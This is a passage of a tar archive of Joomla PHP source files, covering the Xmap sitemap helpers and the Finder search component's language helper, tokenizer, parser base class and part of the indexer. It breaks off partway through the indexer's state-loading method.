			JHtml::_('select.option', 'past_1month', JText::_('COM_USERS_OPTION_RANGE_PAST_1MONTH')),
			JHtml::_('select.option', 'past_3month', JText::_('COM_USERS_OPTION_RANGE_PAST_3MONTH')),
			JHtml::_('select.option', 'past_6month', JText::_('COM_USERS_OPTION_RANGE_PAST_6MONTH')),
			JHtml::_('select.option', 'past_year', JText::_('COM_USERS_OPTION_RANGE_PAST_YEAR')),
			JHtml::_('select.option', 'post_year', JText::_('COM_USERS_OPTION_RANGE_POST_YEAR')),
		);
		return $options;
	}
}
������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������html/xmap.php���������������������������������������������������������������������������������������0000666�����������������00000003061�15140033271�0007166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @version     $Id$
 * @copyright   Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 * @author      Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

JTable::addIncludePath( JPATH_COMPONENT . '/tables' );

/**
 * @package       Xmap
 * @subpackage    com_xmap
 */
abstract class JHtmlXmap
{

    /**
     * @param    string  $name
     * @param    string  $value
     * @param    int     $j
     */
    public static function priorities($name, $value = '0.5', $j)
    {
        // Array of options
        for ($i=0.1; $i<=1;$i+=0.1) {
            $options[] = JHTML::_('select.option',$i,$i);;
        }
        return JHtml::_('select.genericlist', $options, $name, null, 'value', 'text', $value, $name.$j);
    }

    /**
     * @param    string  $name
     * @param    string  $value
     * @param    int     $j
     */
    public static function changefrequency($name, $value = 'weekly', $j)
    {
        // Array of options
        $options[] = JHTML::_('select.option','hourly','hourly');
        $options[] = JHTML::_('select.option','daily','daily');
        $options[] = JHTML::_('select.option','weekly','weekly');
        $options[] = JHTML::_('select.option','monthly','monthly');
        $options[] = JHTML::_('select.option','yearly','yearly');
        $options[] = JHTML::_('select.option','never','never');
        return JHtml::_('select.genericlist', $options, $name, null, 'value', 'text', $value, $name.$j);
    }

}
�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmap.php��������������������������������������������������������������������������������������������0000666�����������������00000020333�15140033271�0006223 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php

/**
 * @version       $Id$
 * @copyright     Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_SITE .'/includes/application.php');
jimport('joomla.database.query');

/**
 * Xmap Component Sitemap Model
 *
 * @package        Xmap
 * @subpackage     com_xmap
 * @since          2.0
 */
class XmapHelper
{

    public static function &getMenuItems($selections)
    {
        $db = JFactory::getDbo();
        $app = JFactory::getApplication();
        $user = JFactory::getUser();
        $list = array();

        foreach ($selections as $menutype => $menuOptions) {
            // Initialize variables.
            // Get the menu items as a tree.
            $query = $db->getQuery(true);
            $query->select(
                    'n.id, n.title, n.alias, n.path, n.level, n.link, '
                  . 'n.type, n.params, n.home, n.parent_id'
                  . ',n.'.$db->quoteName('browserNav')
                  );
            $query->from('#__menu AS n');
            $query->join('INNER', ' #__menu AS p ON p.lft = 0');
            $query->where('n.lft > p.lft');
            $query->where('n.lft < p.rgt');
            $query->order('n.lft');

            // Filter over the appropriate menu.
            $query->where('n.menutype = ' . $db->quote($menutype));

            // Filter over authorized access levels and publishing state.
            $query->where('n.published = 1');
            $query->where('n.access IN (' . implode(',', (array) $user->getAuthorisedViewLevels()) . ')');

            // Filter by language
            if ($app->getLanguageFilter()) {
                $query->where('n.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')');
            }

            // Get the list of menu items.
            $db->setQuery($query);
            $tmpList = $db->loadObjectList('id');
            $list[$menutype] = array();

            // Check for a database error.
            if ($db->getErrorNum()) {
                JError::raiseWarning(021, $db->getErrorMsg());
                return array();
            }

            // Set some values to make nested HTML rendering easier.
            foreach ($tmpList as $id => $item) {
                $item->items = array();

                $params = new JRegistry($item->params);
                $item->uid = 'itemid'.$item->id;

                if (preg_match('#^/?index.php.*option=(com_[^&]+)#', $item->link, $matches)) {
                    $item->option = $matches[1];
                    $componentParams = clone(JComponentHelper::getParams($item->option));
                    $componentParams->merge($params);
                    //$params->merge($componentParams);
                    $params = $componentParams;
                } else {
                    $item->option = null;
                }

                $item->params = $params;

                if ($item->type != 'separator') {

                    $item->priority = $menuOptions['priority'];
                    $item->changefreq = $menuOptions['changefreq'];

                    XmapHelper::prepareMenuItem($item);
                } else {
                    $item->priority = null;
                    $item->changefreq = null;
                }

                if ($item->parent_id > 1) {
                    $tmpList[$item->parent_id]->items[$item->id] = $item;
                } else {
                    $list[$menutype][$item->id] = $item;
                }
            }
        }
        return $list;
    }

    public static function &getExtensions()
    {
        static $list;

        jimport('joomla.html.parameter');

        if ($list != null) {
            return $list;
        }
        $db = JFactory::getDBO();

        $list = array();
        // Get the menu items as a tree.
        $query = $db->getQuery(true);
        $query->select('*');
        $query->from('#__extensions AS n');
        $query->where('n.folder = \'xmap\'');
        $query->where('n.enabled = 1');

        // Get the list of menu items.
        $db->setQuery($query);
        $extensions = $db->loadObjectList('element');

        foreach ($extensions as $element => $extension) {
            if (file_exists(JPATH_PLUGINS . '/' . $extension->folder . '/' . $element. '/'. $element . '.php')) {
                require_once(JPATH_PLUGINS . '/' . $extension->folder . '/' . $element. '/'. $element . '.php');
                $params = new JRegistry($extension->params);
                $extension->params = $params->toArray();
                $list[$element] = $extension;
            }
        }

        return $list;
    }

    /**
     * Call the function prepareMenuItem of the extension for the item (if any)
     *
     * @param    object        Menu item object
     *
     * @return    void
     */
    public static function prepareMenuItem($item)
    {
        $extensions = XmapHelper::getExtensions();
        if (!empty($extensions[$item->option])) {
            $className = 'xmap_' . $item->option;
            $obj = new $className;
            if (method_exists($obj, 'prepareMenuItem')) {
                $obj->prepareMenuItem($item,$extensions[$item->option]->params);
            }
        }
    }


    static function getImages($text,$max)
    {
        if (!isset($urlBase)) {
            $urlBase = JURI::base();
            $urlBaseLen = strlen($urlBase);
        }

        $images = null;
        $matches = $matches1 = $matches2 = array();
        // Look <img> tags
        preg_match_all('/<img[^>]*?(?:(?:[^>]*src="(?P<src>[^"]+)")|(?:[^>]*alt="(?P<alt>[^"]+)")|(?:[^>]*title="(?P<title>[^"]+)"))+[^>]*>/i', $text, $matches1, PREG_SET_ORDER);
        // Loog for <a> tags with href to images
        preg_match_all('/<a[^>]*?(?:(?:[^>]*href="(?P<src>[^"]+\.(gif|png|jpg|jpeg))")|(?:[^>]*alt="(?P<alt>[^"]+)")|(?:[^>]*title="(?P<title>[^"]+)"))+[^>]*>/i', $text, $matches2, PREG_SET_ORDER);
        $matches = array_merge($matches1,$matches2);
        if (count($matches)) {
            $images = array();

            $count = count($matches);
            $j = 0;
            for ($i = 0; $i < $count && $j < $max; $i++) {
                if (trim($matches[$i]['src']) && (substr($matches[$i]['src'], 0, 1) == '/' || !preg_match('/^https?:\/\//i', $matches[$i]['src']) || substr($matches[$i]['src'], 0, $urlBaseLen) == $urlBase)) {
                    $src = $matches[$i]['src'];
                    if (substr($src, 0, 1) == '/') {
                        $src = substr($src, 1);
                    }
                    if (!preg_match('/^https?:\//i', $src)) {
                        $src = $urlBase . $src;
                    }
                    $image = new stdClass;
                    $image->src = $src;
                    $image->title = (isset($matches[$i]['title']) ? $matches[$i]['title'] : @$matches[$i]['alt']);
                    $images[] = $image;
                    $j++;
                }
            }
        }
        return $images;
    }

    static function getPagebreaks($text,$baseLink)
    {
        $matches = $subnodes = array();
        if (preg_match_all(
                '/<hr\s*[^>]*?(?:(?:\s*alt="(?P<alt>[^"]+)")|(?:\s*title="(?P<title>[^"]+)"))+[^>]*>/i',
                $text, $matches, PREG_SET_ORDER)
        ) {
            $i = 2;
            foreach ($matches as $match) {
                if (strpos($match[0], 'class="system-pagebreak"') !== FALSE) {
                    $link = $baseLink . '&limitstart=' . ($i - 1);

                    if (@$match['alt']) {
                        $title = stripslashes($match['alt']);
                    } elseif (@$match['title']) {
                        $title = stripslashes($match['title']);
                    } else {
                        $title = JText::sprintf('Page #', $i);
                    }
                    $subnode = new stdclass();
                    $subnode->name = $title;
                    $subnode->expandible = false;
                    $subnode->link = $link;
                    $subnodes[] = $subnode;
                    $i++;
                }
            }

        }
        return $subnodes;
    }
}
�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������language.php����������������������������������������������������������������������������������������0000666�����������������00000005611�15140234717�0007053 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Finder language helper class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderHelperLanguage
{
	/**
	 * Method to return a plural language code for a taxonomy branch.
	 *
	 * @param   string  Branch title.
	 *
	 * @return  string  Language key code.
	 */
	public static function branchPlural($branchName)
	{
		$return = preg_replace('/[^a-zA-Z0-9]+/', '_', strtoupper($branchName));

		return 'PLG_FINDER_QUERY_FILTER_BRANCH_P_'.$return;
	}

	/**
	 * Method to return a singular language code for a taxonomy branch.
	 *
	 * @param   string  Branch name.
	 *
	 * @return  string  Language key code.
	 */
	public static function branchSingular($branchName)
	{
		$return = preg_replace('/[^a-zA-Z0-9]+/', '_', strtoupper($branchName));

		return 'PLG_FINDER_QUERY_FILTER_BRANCH_S_'.$return;
	}

	/**
	 * Method to determine if the language filter plugin is enabled.
	 * This works for both site and administrator.
	 *
	 * @return  boolean  True if site is supporting multiple languages; false otherwise.
	 *
	 * @since   2.5
	 * @deprecated  3.0 Use JLanguageMultilang::isEnabled() instead.
	 */
	public static function isMultiLanguage()
	{
		JLog::add('FinderHelperLanguage::isMultiLanguage() is deprecated. Use JLanguageMultilang::isEnabled() instead. ', JLog::WARNING, 'deprecated');
		return JLanguageMultilang::isEnabled();
	}

	/**
	 * Method to load Smart Search component language file.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function loadComponentLanguage()
	{
		$lang = JFactory::getLanguage();
		$lang->load('com_finder', JPATH_SITE);
	}

	/**
	 * Method to load Smart Search plug-in language files.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function loadPluginLanguage()
	{
		static $loaded = false;

		// If already loaded, don't load again.
		if ($loaded) {
			return;
		}
		$loaded = true;

		// Get array of all the enabled Smart Search plug-in names.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);

		$query->select('name');
		$query->from($db->quoteName('#__extensions'));
		$query->where($db->quoteName('type') . ' = ' .  $db->quote('plugin'));
		$query->where($db->quoteName('folder') . ' = ' .  $db->quote('finder'));
		$query->where($db->quoteName('enabled') . ' = 1');
		$db->setQuery($query);
		$plugins = $db->loadObjectList();

		if (empty($plugins)) {
			return;
		}

		// Load generic language strings.
		$lang = JFactory::getLanguage();
		$lang->load('plg_content_finder', JPATH_ADMINISTRATOR);

		// Load language file for each plug-in.
		foreach ($plugins as $plugin) {
			$lang->load($plugin->name, JPATH_ADMINISTRATOR);
		}
	}

}
�����������������������������������������������������������������������������������������������������������������������indexer/helper.php����������������������������������������������������������������������������������0000666�����������������00000033642�15140234717�0010212 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// Register dependent classes.
JLoader::register('FinderIndexerStemmer', dirname(__FILE__) . '/stemmer.php');
JLoader::register('FinderIndexerToken', dirname(__FILE__) . '/token.php');

/**
 * Helper class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerHelper
{
	/**
	 * The token stemmer object. The stemmer is set by whatever class
	 * wishes to use it but it must be an instance of FinderIndexerStemmer.
	 *
	 * @var		FinderIndexerStemmer
	 * @since	2.5
	 */
	public static $stemmer;

	/**
	 * Method to parse input into plain text.
	 *
	 * @param   string  $input   The raw input.
	 * @param   string  $format  The format of the input. [optional]
	 *
	 * @return  string  The parsed input.
	 *
	 * @since   2.5
	 * @throws  Exception on invalid parser.
	 */
	public static function parse($input, $format = 'html')
	{
		// Get a parser for the specified format and parse the input.
		return FinderIndexerParser::getInstance($format)->parse($input);
	}

	/**
	 * Method to tokenize a text string.
	 *
	 * @param   string   $input   The input to tokenize.
	 * @param   string   $lang    The language of the input.
	 * @param   boolean  $phrase  Flag to indicate whether input could be a phrase. [optional]
	 *
	 * @return  array  An array of FinderIndexerToken objects.
	 *
	 * @since   2.5
	 */
	public static function tokenize($input, $lang, $phrase = false)
	{
		static $cache;
		$store = JString::strlen($input) < 128 ? md5($input . '::' . $lang . '::' . $phrase) : null;

		// Check if the string has been tokenized already.
		if ($store && isset($cache[$store]))
		{
			return $cache[$store];
		}

		$tokens = array();
		$terms = array();
		$quotes = html_entity_decode('&#8216;&#8217;&#39;', ENT_QUOTES, 'UTF-8');

		// Get the simple language key.
		$lang = FinderIndexerHelper::getPrimaryLanguage($lang);

		/*
		 * Parsing the string input into terms is a multi-step process.
		 *
		 * Regexes:
		 *	1. Remove everything except letters, numbers, quotes, apostrophe, plus, dash, period, and comma.
		 *	2. Remove plus, dash, period, and comma characters located before letter characters.
		 *  3. Remove plus, dash, period, and comma characters located after other characters.
		 *  4. Remove plus, period, and comma characters enclosed in alphabetical characters. Ungreedy.
		 *  5. Remove orphaned apostrophe, plus, dash, period, and comma characters.
		 *  6. Remove orphaned quote characters.
		 *  7. Replace the assorted single quotation marks with the ASCII standard single quotation.
		 *  8. Remove multiple space characters and replaces with a single space.
		 */
		$input = JString::strtolower($input);
		$input = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $input);
		$input = preg_replace('#(^|\s)[+-.,]+([\pL\pM]+)#mui', ' $1', $input);
		$input = preg_replace('#([\pL\pM\pN]+)[+-.,]+(\s|$)#mui', '$1 ', $input);
		$input = preg_replace('#([\pL\pM]+)[+.,]+([\pL\pM]+)#muiU', '$1 $2', $input); // Ungreedy
		$input = preg_replace('#(^|\s)[\'+-.,]+(\s|$)#mui', ' ', $input);
		$input = preg_replace('#(^|\s)[\p{Pi}\p{Pf}]+(\s|$)#mui', ' ', $input);
		$input = preg_replace('#[' . $quotes . ']+#mui', '\'', $input);
		$input = preg_replace('#\s+#mui', ' ', $input);
		$input = JString::trim($input);

		// Explode the normalized string to get the terms.
		$terms = explode(' ', $input);

		/*
		 * If we have Unicode support and are dealing with Chinese text, Chinese
		 * has to be handled specially because there are not necessarily any spaces
		 * between the "words". So, we have to test if the words belong to the Chinese
		 * character set and if so, explode them into single glyphs or "words".
		 */
		if ($lang === 'zh')
		{
			// Iterate through the terms and test if they contain Chinese.
			for ($i = 0, $n = count($terms); $i < $n; $i++)
			{
				$charMatches = array();
				$charCount = preg_match_all('#[\p{Han}]#mui', $terms[$i], $charMatches);

				// Split apart any groups of Chinese characters.
				for ($j = 0; $j < $charCount; $j++)
				{
					$tSplit = JString::str_ireplace($charMatches[0][$j], '', $terms[$i], false);
					if (!empty($tSplit))
					{
						$terms[$i] = $tSplit;
					}
					else
					{
						unset($terms[$i]);
					}

					$terms[] = $charMatches[0][$j];
				}
			}

			// Reset array keys.
			$terms = array_values($terms);
		}

		/*
		 * If we have to handle the input as a phrase, that means we don't
		 * tokenize the individual terms and we do not create the two and three
		 * term combinations. The phrase must contain more than one word!
		 */
		if ($phrase === true && count($terms) > 1)
		{
			// Create tokens from the phrase.
			$tokens[] = new FinderIndexerToken($terms, $lang);
		}
		else
		{
			// Create tokens from the terms.
			for ($i = 0, $n = count($terms); $i < $n; $i++)
			{
				$tokens[] = new FinderIndexerToken($terms[$i], $lang);
			}

			// Create two and three word phrase tokens from the individual words.
			for ($i = 0, $n = count($tokens); $i < $n; $i++)
			{
				// Setup the phrase positions.
				$i2 = $i + 1;
				$i3 = $i + 2;

				// Create the two word phrase.
				if ($i2 < $n && isset($tokens[$i2]))
				{
					// Tokenize the two word phrase.
					$token = new FinderIndexerToken(array($tokens[$i]->term, $tokens[$i2]->term), $lang, $lang === 'zh' ? '' : ' ');
					$token->derived = true;

					// Add the token to the stack.
					$tokens[] = $token;
				}

				// Create the three word phrase.
				if ($i3 < $n && isset($tokens[$i3]))
				{
					// Tokenize the three word phrase.
					$token = new FinderIndexerToken(array($tokens[$i]->term, $tokens[$i2]->term, $tokens[$i3]->term), $lang, $lang === 'zh' ? '' : ' ');
					$token->derived = true;

					// Add the token to the stack.
					$tokens[] = $token;
				}
			}
		}

		if ($store)
		{
			$cache[$store] = count($tokens) > 1 ? $tokens : array_shift($tokens);
			return $cache[$store];
		}
		else
		{
			return count($tokens) > 1 ? $tokens : array_shift($tokens);
		}
	}

	/**
	 * Method to get the base word of a token. This method uses the public
	 * {@link FinderIndexerHelper::$stemmer} object if it is set. If no stemmer is set,
	 * the original token is returned.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	public static function stem($token, $lang)
	{
		// Trim apostrophes at either end of the token.
		$token = JString::trim($token, '\'');

		// Trim everything after any apostrophe in the token.
		if (($pos = JString::strpos($token, '\'')) !== false)
		{
			$token = JString::substr($token, 0, $pos);
		}

		// Stem the token if we have a valid stemmer to use.
		if (self::$stemmer instanceof FinderIndexerStemmer)
		{
			return self::$stemmer->stem($token, $lang);
		}
		else
		{
			return $token;
		}
	}

	/**
	 * Method to add a content type to the database.
	 *
	 * @param   string  $title  The type of content. For example: PDF
	 * @param   string  $mime   The mime type of the content. For example: PDF [optional]
	 *
	 * @return  integer  The id of the content type.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addContentType($title, $mime = null)
	{
		static $types;

		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Check if the types are loaded.
		if (empty($types))
		{
			// Build the query to get the types.
			$query->select('*');
			$query->from($db->quoteName('#__finder_types'));

			// Get the types.
			$db->setQuery($query);
			$types = $db->loadObjectList('title');

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}
		}

		// Check if the type already exists.
		if (isset($types[$title]))
		{
			return (int) $types[$title]->id;
		}

		// Add the type.
		$query->clear();
		$query->insert($db->quoteName('#__finder_types'));
		$query->columns(array($db->quoteName('title'), $db->quoteName('mime')));
		$query->values($db->quote($title) . ', ' . $db->quote($mime));
		$db->setQuery($query);
		$db->query();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Return the new id.
		return (int) $db->insertid();
	}

	/**
	 * Method to check if a token is common in a language.
	 *
	 * @param   string  $token  The token to test.
	 * @param   string  $lang   The language to reference.
	 *
	 * @return  boolean  True if common, false otherwise.
	 *
	 * @since   2.5
	 */
	public static function isCommon($token, $lang)
	{
		static $data;

		// Load the common tokens for the language if necessary.
		if (!isset($data[$lang]))
		{
			$data[$lang] = FinderIndexerHelper::getCommonWords($lang);
		}

		// Check if the token is in the common array.
		if (in_array($token, $data[$lang]))
		{
			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Method to get an array of common terms for a language.
	 *
	 * @param   string  $lang  The language to use.
	 *
	 * @return  array  Array of common terms.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getCommonWords($lang)
	{
		$db = JFactory::getDBO();

		// Create the query to load all the common terms for the language.
		$query = $db->getQuery(true);
		$query->select($db->quoteName('term'));
		$query->from($db->quoteName('#__finder_terms_common'));
		$query->where($db->quoteName('language') . ' = ' . $db->quote($lang));

		// Load all of the common terms for the language.
		$db->setQuery($query);
		$results = $db->loadColumn();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		return $results;
	}

	/**
	 * Method to get the default language for the site.
	 *
	 * @return  string  The default language string.
	 *
	 * @since   2.5
	 */
	public static function getDefaultLanguage()
	{
		static $lang;

		// Get the default language.
		if (empty($lang))
		{
			$lang = JComponentHelper::getParams('com_languages')->get('site', 'en-GB');
		}

		return $lang;
	}

	/**
	 * Method to parse a language/locale key and return a simple language string.
	 *
	 * @param   string  $lang  The language/locale key. For example: en-GB
	 *
	 * @return  string  The simple language string. For example: en
	 *
	 * @since   2.5
	 */
	public static function getPrimaryLanguage($lang)
	{
		static $data;

		// Only parse the identifier if necessary.
		if (!isset($data[$lang]))
		{
			if (is_callable(array('Locale', 'getPrimaryLanguage')))
			{
				// Get the language key using the Locale package.
				$data[$lang] = Locale::getPrimaryLanguage($lang);
			}
			else
			{
				// Get the language key using string position.
				$data[$lang] = JString::substr($lang, 0, JString::strpos($lang, '-'));
			}
		}

		return $data[$lang];
	}

	/**
	 * Method to get the path (SEF route) for a content item.
	 *
	 * @param   string  $url  The non-SEF route to the content item.
	 *
	 * @return  string  The path for the content item.
	 *
	 * @since   2.5
	 */
	public static function getContentPath($url)
	{
		static $router;

		// Only get the router once.
		if (!($router instanceof JRouter))
		{
			jimport('joomla.application.router');
			include_once JPATH_SITE . '/includes/application.php';

			// Get and configure the site router.
			$config = JFactory::getConfig();
			$router = JRouter::getInstance('site');
			$router->setMode($config->get('sef', 1));
		}

		// Build the relative route.
		$uri = $router->build($url);
		$route = $uri->toString(array('path', 'query', 'fragment'));
		$route = str_replace(JURI::base(true) . '/', '', $route);

		return $route;
	}

	/**
	 * Method to get extra data for a content before being indexed. This is how
	 * we add Comments, Tags, Labels, etc. that should be available to Finder.
	 *
	 * @param   FinderIndexerResult  &$item  The item to index as an FinderIndexerResult object.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getContentExtras(FinderIndexerResult &$item)
	{
		// Get the event dispatcher.
		$dispatcher = JDispatcher::getInstance();

		// Load the finder plugin group.
		JPluginHelper::importPlugin('finder');

		try
		{
			// Trigger the event.
			$results = $dispatcher->trigger('onPrepareFinderContent', array(&$item));

			// Check the returned results. This is for plugins that don't throw
			// exceptions when they encounter serious errors.
			if (in_array(false, $results))
			{
				throw new Exception($dispatcher->getError(), 500);
			}
		}
		catch (Exception $e)
		{
			// Handle a caught exception.
			throw $e;
		}

		return true;
	}

	/**
	 * Method to process content text using the onContentPrepare event trigger.
	 *
	 * @param   string     $text    The content to process.
	 * @param   JRegistry  $params  The parameters object. [optional]
	 *
	 * @return  string  The processed content.
	 *
	 * @since   2.5
	 */
	public static function prepareContent($text, $params = null)
	{
		static $loaded;

		// Get the dispatcher.
		$dispatcher = JDispatcher::getInstance();

		// Load the content plugins if necessary.
		if (empty($loaded))
		{
			JPluginHelper::importPlugin('content');
			$loaded = true;
		}

		// Instantiate the parameter object if necessary.
		if (!($params instanceof JRegistry))
		{
			$registry = new JRegistry;
			$registry->loadString($params);
			$params = $registry;
		}

		// Create a mock content object.
		$content = JTable::getInstance('Content');
		$content->text = $text;

		// Fire the onContentPrepare event.
		$dispatcher->trigger('onContentPrepare', array('com_finder.indexer', &$content, &$params, 0));

		return $content->text;
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Parser base class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
abstract class FinderIndexerParser
{
	/**
	 * Method to get a parser, creating it if necessary.
	 *
	 * @param   string  $format  The type of parser to load.
	 *
	 * @return  FinderIndexerParser  A FinderIndexerParser instance.
	 *
	 * @since   2.5
	 * @throws  Exception on invalid parser.
	 */
	public static function getInstance($format)
	{
		static $instances;

		// Only create one parser for each format.
		if (isset($instances[$format]))
		{
			return $instances[$format];
		}

		// Create an array of instances if necessary.
		if (!is_array($instances))
		{
			$instances = array();
		}

		// Setup the adapter for the parser.
		$format = JFilterInput::getInstance()->clean($format, 'cmd');
		$path = dirname(__FILE__) . '/parser/' . $format . '.php';
		$class = 'FinderIndexerParser' . ucfirst($format);

		// Check if a parser exists for the format.
		if (file_exists($path))
		{
			// Instantiate the parser.
			include_once $path;
			$instances[$format] = new $class;
		}
		else
		{
			// Throw invalid format exception.
			throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_PARSER', $format));
		}

		return $instances[$format];
	}

	/**
	 * Method to parse input and extract the plain text. Because this method is
	 * called from both inside and outside the indexer, it needs to be able to
	 * batch out its parsing functionality to deal with the inefficiencies of
	 * regular expressions. We will parse recursively in 2KB chunks.
	 *
	 * @param   string  $input  The input to parse.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	public function parse($input)
	{
		$return = null;

		// Parse the input in batches if bigger than 2KB.
		if (strlen($input) > 2048)
		{
			$start = 0;
			$end = strlen($input);
			$chunk = 2048;

			while ($start < $end)
			{
				// Setup the string.
				$string = substr($input, $start, $chunk);

				// Find the last space character if we aren't at the end.
				$ls = (($start + $chunk) < $end ? strrpos($string, ' ') : false);

				// Truncate to the last space character.
				if ($ls !== false)
				{
					$string = substr($string, 0, $ls);
				}

				// Adjust the start position for the next iteration.
				$start += ($ls !== false ? ($ls + 1 - $chunk) + $chunk : $chunk);

				// Parse the chunk.
				$return .= $this->process($string);
			}
		}
		// The input is less than 2KB so we can parse it efficiently.
		else
		{
			// Parse the chunk.
			$return .= $this->process($input);
		}

		return $return;
	}

	/**
	 * Method to process input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	abstract protected function process($input);
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// Register dependent classes.
JLoader::register('FinderIndexerHelper', dirname(__FILE__) . '/helper.php');
JLoader::register('FinderIndexerParser', dirname(__FILE__) . '/parser.php');
JLoader::register('FinderIndexerStemmer', dirname(__FILE__) . '/stemmer.php');
JLoader::register('FinderIndexerTaxonomy', dirname(__FILE__) . '/taxonomy.php');
JLoader::register('FinderIndexerToken', dirname(__FILE__) . '/token.php');

jimport('joomla.filesystem.file');

/**
 * Main indexer class for the Finder indexer package.
 *
 * The indexer class provides the core functionality of the Finder
 * search engine. It is responsible for adding and updating the
 * content links table; extracting and scoring tokens; and maintaining
 * all referential information for the content.
 *
 * Note: All exceptions thrown from within this class should be caught
 * by the controller.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexer
{
	/**
	 * The title context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const TITLE_CONTEXT = 1;

	/**
	 * The text context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const TEXT_CONTEXT = 2;

	/**
	 * The meta context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const META_CONTEXT = 3;

	/**
	 * The path context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const PATH_CONTEXT = 4;

	/**
	 * The misc context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const MISC_CONTEXT = 5;

	/**
	 * The indexer state object.
	 *
	 * @var    object
	 * @since  2.5
	 */
	public static $state;

	/**
	 * The indexer profiler object.
	 *
	 * @var    object
	 * @since  2.5
	 */
	public static $profiler;

	/**
	 * Method to get the indexer state.
	 *
	 * @return  object  The indexer state object.
	 *
	 * @since   2.5
	 */
	public static function getState()
	{
		// First, try to load from the internal state.
		if (!empty(self::$state))
		{
			return self::$state;
		}

		// If we couldn't load from the internal state, try the session.
		$session = JFactory::getSession();
		$data = $session->get('_finder.state', null);

		// If the state is empty, load the values for the first time.
		if (empty($data))
		{
			$data = new JObject;

			// Load the default configuration options.
			$data->options = JComponentHelper::getParams('com_finder');

			// Setup the weight lookup information.
			$data->weights = array(
				self::TITLE_CONTEXT	=> round($data->options->get('title_multiplier', 1.7), 2),
				self::TEXT_CONTEXT	=> round($data->options->get('text_multiplier', 0.7), 2),
				self::META_CONTEXT	=> round($data->options->get('meta_multiplier', 1.2), 2),
				self::PATH_CONTEXT	=> round($data->options->get('path_multiplier', 2.0), 2),
				self::MISC_CONTEXT	=> round($data->options->get('misc_multiplier', 0.3), 2)
			);

			// Set the current time as the start time.
			$data->startTime = JFactory::getDate()->toSQL();

			// Set the remaining default values.
			$data->batchSize = (int) $data->options->get('batch_size', 50);
			$data->batchOffset = 0;
			$data->totalItems = 0;
			$data->pluginState = array();
		}

		// Setup the profiler if debugging is enabled.
		if (JFactory::getApplication()->getCfg('debug'))
		{
			jimport('joomla.error.profiler');
